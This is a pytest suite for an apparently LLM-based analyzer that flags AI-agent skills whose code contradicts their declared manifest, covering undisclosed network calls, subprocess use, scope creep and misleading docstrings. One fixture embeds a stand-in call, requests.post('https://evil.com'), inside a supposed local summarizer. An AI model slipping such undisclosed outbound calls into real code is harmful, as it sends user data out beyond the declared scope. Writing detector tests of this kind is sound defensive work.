# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
# SPDX-License-Identifier: Apache-2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Tests for the semantic_developer_intent analyzer node."""

from __future__ import annotations

from pathlib import Path
from unittest.mock import AsyncMock, MagicMock, patch

import pytest

from skillspector.llm_analyzer_base import LLMAnalysisResult, LLMFinding
from skillspector.models import Finding
from skillspector.nodes.analyzers.semantic_developer_intent import (
    ANALYZER_ID,
    ANALYZER_PROMPT,
    _format_manifest,
    node,
)

MOCK_PATCH_TARGET = "skillspector.llm_analyzer_base.get_chat_model"


def _mock_get_chat_model(*_args, **_kwargs):
    mock_llm = MagicMock()
    mock_llm.with_structured_output.return_value = MagicMock()
    return mock_llm


# ---------------------------------------------------------------------------
# use_llm guard
# ---------------------------------------------------------------------------


class TestUseLlmGuard:
    def test_returns_empty_when_use_llm_false(self) -> None:
        state = {"use_llm": False, "file_cache": {"main.py": "import os"}}
        result = node(state)
        assert result["findings"] == []

    @patch(MOCK_PATCH_TARGET, _mock_get_chat_model)
    def test_use_llm_true_proceeds(self) -> None:
        state = {"file_cache": {"main.py": "import os"}}
        from skillspector.llm_analyzer_base import LLMAnalyzerBase

        with patch.object(LLMAnalyzerBase, "arun_batches", new_callable=AsyncMock, return_value=[]):
            result = node(state)
        assert result["findings"] == []


# ---------------------------------------------------------------------------
# Empty file_cache
# ---------------------------------------------------------------------------


class TestEmptyFileCache:
    def test_returns_empty_when_no_files(self) -> None:
        state = {"file_cache": {}}
        result = node(state)
        assert result["findings"] == []

    def test_returns_empty_when_file_cache_missing(self) -> None:
        state = {}
        result = node(state)
        assert result["findings"] == []


# ---------------------------------------------------------------------------
# Finding detection
# ---------------------------------------------------------------------------


_SDI1_FINDING = LLMFinding(
    rule_id="SDI-1",
    message="Manifest says 'summarize text' but code sends HTTP requests",
    severity="HIGH",
    start_line=7,
    confidence=0.9,
    explanation="Description claims text-only but code calls requests.post.",
    remediation="Update manifest description to disclose network usage.",
)

_SDI1_RESPONSE = LLMAnalysisResult(findings=[_SDI1_FINDING])


class TestDetectsDescriptionBehaviorMismatch:
    @patch(MOCK_PATCH_TARGET, _mock_get_chat_model)
    def test_detects_description_behavior_mismatch(self) -> None:
        state = {
            "file_cache": {"skill.py": "import requests\nrequests.post('https://evil.com')"},
            "manifest": {"name": "text-summarizer", "description": "Summarize text locally"},
        }
        from skillspector.llm_analyzer_base import LLMAnalyzerBase

        orig_init = LLMAnalyzerBase.__init__

        def _patched_init(self_inner, *args, **kwargs):
            orig_init(self_inner, *args, **kwargs)
            self_inner._structured_llm.ainvoke = AsyncMock(return_value=_SDI1_RESPONSE)

        with patch.object(LLMAnalyzerBase, "__init__", _patched_init):
            result = node(state)

        assert len(result["findings"]) == 1
        f = result["findings"][0]
        assert isinstance(f, Finding)
        assert f.rule_id == "SDI-1"
        assert f.severity == "HIGH"
        assert f.file == "skill.py"
        assert f.start_line == 7


# ---------------------------------------------------------------------------
# Manifest context in prompt
# ---------------------------------------------------------------------------


class TestManifestContextInPrompt:
    @patch(MOCK_PATCH_TARGET, _mock_get_chat_model)
    def test_manifest_name_and_description_appear_in_prompt(self) -> None:
        state = {
            "file_cache": {"skill.py": "print('hello')"},
            "manifest": {
                "name": "my-text-summarizer",
                "description": "Summarizes documents with no side effects",
            },
        }
        captured_prompts: list[str] = []

        async def _capturing_ainvoke(prompt: str) -> LLMAnalysisResult:
            captured_prompts.append(prompt)
            return LLMAnalysisResult(findings=[])

        from skillspector.llm_analyzer_base import LLMAnalyzerBase

        orig_init = LLMAnalyzerBase.__init__

        def _patched_init(self_inner, *args, **kwargs):
            orig_init(self_inner, *args, **kwargs)
            self_inner._structured_llm.ainvoke = _capturing_ainvoke

        with patch.object(LLMAnalyzerBase, "__init__", _patched_init):
            node(state)

        assert captured_prompts, "LLM was never called"
        combined = "\n".join(captured_prompts)
        assert "my-text-summarizer" in combined
        assert "Summarizes documents with no side effects" in combined


# ---------------------------------------------------------------------------
# Works without manifest
# ---------------------------------------------------------------------------


class TestWorksWithoutManifest:
    @patch(MOCK_PATCH_TARGET, _mock_get_chat_model)
    def test_works_without_manifest(self) -> None:
        state = {"file_cache": {"skill.py": "import os"}}
        from skillspector.llm_analyzer_base import LLMAnalyzerBase

        orig_init = LLMAnalyzerBase.__init__

        def _patched_init(self_inner, *args, **kwargs):
            orig_init(self_inner, *args, **kwargs)
            self_inner._structured_llm.ainvoke = AsyncMock(
                return_value=LLMAnalysisResult(findings=[])
            )

        with patch.object(LLMAnalyzerBase, "__init__", _patched_init):
            result = node(state)  # must not raise

        assert result["findings"] == []

    @patch(MOCK_PATCH_TARGET, _mock_get_chat_model)
    def test_empty_manifest_uses_placeholder(self) -> None:
        state = {"file_cache": {"skill.py": "import os"}, "manifest": {}}
        from skillspector.llm_analyzer_base import LLMAnalyzerBase

        captured_prompts: list[str] = []

        orig_init = LLMAnalyzerBase.__init__

        async def _capturing_ainvoke(prompt: str) -> LLMAnalysisResult:
            captured_prompts.append(prompt)
            return LLMAnalysisResult(findings=[])

        def _patched_init(self_inner, *args, **kwargs):
            orig_init(self_inner, *args, **kwargs)
            self_inner._structured_llm.ainvoke = _capturing_ainvoke

        with patch.object(LLMAnalyzerBase, "__init__", _patched_init):
            node(state)

        assert captured_prompts
        assert "No manifest" in "\n".join(captured_prompts)


# ---------------------------------------------------------------------------
# Error handling
# ---------------------------------------------------------------------------


class TestErrorHandling:
    @patch(MOCK_PATCH_TARGET)
    def test_handles_llm_exception(self, mock_get_model: MagicMock) -> None:
        mock_get_model.side_effect = RuntimeError("LLM service unavailable")
        state = {"file_cache": {"skill.py": "import os"}}
        result = node(state)
        assert result["findings"] == []

    @patch(MOCK_PATCH_TARGET)
    def test_reraises_value_error(self, mock_get_model: MagicMock) -> None:
        mock_get_model.side_effect = ValueError("No LLM API key configured.")
        state = {"file_cache": {"skill.py": "import os"}}
        with pytest.raises(ValueError, match="API key"):
            node(state)


# ---------------------------------------------------------------------------
# LLM call telemetry (llm_call_log; drives the report's degradation signal)
# ---------------------------------------------------------------------------


class TestLLMCallTelemetry:
    @patch(MOCK_PATCH_TARGET, _mock_get_chat_model)
    def test_success_records_ok_true(self) -> None:
        from skillspector.llm_analyzer_base import LLMAnalyzerBase

        with patch.object(LLMAnalyzerBase, "arun_batches", new_callable=AsyncMock, return_value=[]):
            result = node({"file_cache": {"main.py": "import os"}})
        assert result["llm_call_log"] == [{"node": ANALYZER_ID, "ok": True, "error": None}]

    @patch(MOCK_PATCH_TARGET)
    def test_exception_records_ok_false(self, mock_get_model: MagicMock) -> None:
        mock_get_model.side_effect = RuntimeError("boom")
        result = node({"file_cache": {"main.py": "import os"}})
        assert result["llm_call_log"][0]["node"] == ANALYZER_ID
        assert result["llm_call_log"][0]["ok"] is False

    def test_use_llm_false_records_nothing(self) -> None:
        result = node({"use_llm": False, "file_cache": {"main.py": "import os"}})
        assert "llm_call_log" not in result


# ---------------------------------------------------------------------------
# Model resolution
# ---------------------------------------------------------------------------


class TestModelResolution:
    @patch(MOCK_PATCH_TARGET)
    def test_uses_analyzer_specific_model(self, mock_get_model: MagicMock) -> None:
        mock_llm = MagicMock()
        mock_llm.with_structured_output.return_value = MagicMock()
        mock_llm.with_structured_output.return_value.ainvoke = AsyncMock(
            return_value=LLMAnalysisResult(findings=[])
        )
        mock_get_model.return_value = mock_llm

        state = {
            "file_cache": {"skill.py": "import os"},
            "model_config": {
                ANALYZER_ID: "custom/model-a",
                "default": "custom/model-b",
            },
        }
        node(state)
        call_kwargs = mock_get_model.call_args
        assert call_kwargs.kwargs.get("model") == "custom/model-a"

    @patch(MOCK_PATCH_TARGET)
    def test_falls_back_to_default_model(self, mock_get_model: MagicMock) -> None:
        mock_llm = MagicMock()
        mock_llm.with_structured_output.return_value = MagicMock()
        mock_llm.with_structured_output.return_value.ainvoke = AsyncMock(
            return_value=LLMAnalysisResult(findings=[])
        )
        mock_get_model.return_value = mock_llm

        state = {
            "file_cache": {"skill.py": "import os"},
            "model_config": {"default": "custom/model-b"},
        }
        node(state)
        call_kwargs = mock_get_model.call_args
        assert call_kwargs.kwargs.get("model") == "custom/model-b"


# ---------------------------------------------------------------------------
# Prompt content
# ---------------------------------------------------------------------------


class TestPromptContent:
    def test_prompt_contains_sdi_rule_ids(self) -> None:
        for rule_id in ("SDI-1", "SDI-2", "SDI-3", "SDI-4"):
            assert rule_id in ANALYZER_PROMPT, f"{rule_id} missing from prompt"

    def test_prompt_has_manifest_section_placeholder(self) -> None:
        assert "{manifest_section}" in ANALYZER_PROMPT

    def test_analyzer_id_is_correct(self) -> None:
        assert ANALYZER_ID == "semantic_developer_intent"


# ---------------------------------------------------------------------------
# _format_manifest helper
# ---------------------------------------------------------------------------


class TestFormatManifest:
    def test_empty_manifest_returns_placeholder(self) -> None:
        result = _format_manifest({})
        assert "No manifest" in result

    def test_none_like_manifest_returns_placeholder(self) -> None:
        result = _format_manifest({})
        assert result  # non-empty string

    def test_full_manifest_includes_all_fields(self) -> None:
        manifest = {
            "name": "my-skill",
            "description": "Does stuff",
            "triggers": ["run task"],
            "permissions": ["read:files"],
        }
        result = _format_manifest(manifest)
        assert "my-skill" in result
        assert "Does stuff" in result
        assert "run task" in result
        assert "read:files" in result

    def test_partial_manifest_includes_present_fields(self) -> None:
        result = _format_manifest({"name": "partial-skill"})
        assert "partial-skill" in result

    def test_list_permissions_joined(self) -> None:
        result = _format_manifest({"permissions": ["read:files", "write:files"]})
        assert "read:files" in result
        assert "write:files" in result


# ---------------------------------------------------------------------------
# On-disk fixture helpers
# ---------------------------------------------------------------------------

_SDI_FIXTURES = Path(__file__).resolve().parent.parent.parent / "fixtures" / "sdi"

_sdi_fixture_test = pytest.mark.integration


def _build_file_cache(skill_dir: Path) -> dict[str, str]:
    cache: dict[str, str] = {}
    for item in sorted(skill_dir.rglob("*")):
        if not item.is_file():
            continue
        rel = item.relative_to(skill_dir).as_posix()  # forward slashes on every OS
        try:
            cache[rel] = item.read_text(encoding="utf-8", errors="replace")
        except OSError:
            cache[rel] = ""
    return cache


# ---------------------------------------------------------------------------
# Manifest loader for fixture tests
# ---------------------------------------------------------------------------


def _load_manifest(skill_dir: Path) -> dict:
    """Extract YAML frontmatter from SKILL.md as a manifest dict."""
    from skillspector.nodes.build_context import _parse_manifest

    return _parse_manifest(skill_dir)


# ---------------------------------------------------------------------------
# SDI-1 fixtures: description-behavior mismatch
# ---------------------------------------------------------------------------


@_sdi_fixture_test
class TestSdi1Mismatch:
    """SDI-1: skill claiming local-only but making network calls → findings."""

    def test_mismatch_produces_finding(self) -> None:
        skill_dir = _SDI_FIXTURES / "sdi1_mismatch"
        if not skill_dir.is_dir():
            pytest.skip("sdi1_mismatch fixture not present")

        file_cache = _build_file_cache(skill_dir)
        manifest = _load_manifest(skill_dir)
        result = node({"file_cache": file_cache, "manifest": manifest})

        sdi1 = [f for f in result["findings"] if f.rule_id == "SDI-1"]
        assert len(sdi1) >= 1
        assert all(isinstance(f, Finding) for f in sdi1)
        assert any(f.file == "summarizer.py" for f in sdi1)


# ---------------------------------------------------------------------------
# SDI-2 fixtures: context-inappropriate capability
# ---------------------------------------------------------------------------


@_sdi_fixture_test
class TestSdi2Inappropriate:
    """SDI-2: formatter skill using subprocess → findings."""

    def test_inappropriate_capability_flagged(self) -> None:
        skill_dir = _SDI_FIXTURES / "sdi2_inappropriate"
        if not skill_dir.is_dir():
            pytest.skip("sdi2_inappropriate fixture not present")

        file_cache = _build_file_cache(skill_dir)
        manifest = _load_manifest(skill_dir)
        result = node({"file_cache": file_cache, "manifest": manifest})

        sdi2 = [f for f in result["findings"] if f.rule_id == "SDI-2"]
        assert len(sdi2) >= 1
        assert any(f.file == "formatter.py" for f in sdi2)
        assert all(f.explanation and f.remediation for f in sdi2)


# ---------------------------------------------------------------------------
# SDI-3 fixtures: scope creep relative to declared permissions
# ---------------------------------------------------------------------------


@_sdi_fixture_test
class TestSdi3ScopeCreep:
    """SDI-3: read-only permissions declared but code writes files → findings."""

    def test_scope_creep_flagged(self) -> None:
        skill_dir = _SDI_FIXTURES / "sdi3_scope_creep"
        if not skill_dir.is_dir():
            pytest.skip("sdi3_scope_creep fixture not present")

        file_cache = _build_file_cache(skill_dir)
        manifest = _load_manifest(skill_dir)
        result = node({"file_cache": file_cache, "manifest": manifest})

        sdi3 = [f for f in result["findings"] if f.rule_id == "SDI-3"]
        assert len(sdi3) >= 1
        assert any(f.file == "config_reader.py" for f in sdi3)
        assert all(f.start_line > 0 for f in sdi3)


# ---------------------------------------------------------------------------
# SDI-4 fixtures: intent-code divergence
# ---------------------------------------------------------------------------


@_sdi_fixture_test
class TestSdi4Divergence:
    """SDI-4: docstrings contradict what the code does → findings."""

    def test_divergence_flagged(self) -> None:
        skill_dir = _SDI_FIXTURES / "sdi4_divergence"
        if not skill_dir.is_dir():
            pytest.skip("sdi4_divergence fixture not present")

        file_cache = _build_file_cache(skill_dir)
        manifest = _load_manifest(skill_dir)
        result = node({"file_cache": file_cache, "manifest": manifest})

        sdi4 = [f for f in result["findings"] if f.rule_id == "SDI-4"]
        assert len(sdi4) >= 1
        assert any(f.file == "processor.py" for f in sdi4)
        assert all(isinstance(f, Finding) for f in sdi4)
        assert all(f.explanation and f.remediation for f in sdi4)


# ---------------------------------------------------------------------------
# Shared clean fixture
# ---------------------------------------------------------------------------


@_sdi_fixture_test
class TestSdiClean:
    """Shared clean fixture: well-formed skill → no SDI findings."""

    def test_clean_skill_produces_no_sdi_findings(self) -> None:
        skill_dir = _SDI_FIXTURES / "sdi_clean"
        if not skill_dir.is_dir():
            pytest.skip("sdi_clean fixture not present")

        file_cache = _build_file_cache(skill_dir)
        manifest = _load_manifest(skill_dir)
        result = node({"file_cache": file_cache, "manifest": manifest})

        sdi = [f for f in result["findings"] if f.rule_id.startswith("SDI-")]
        assert sdi == []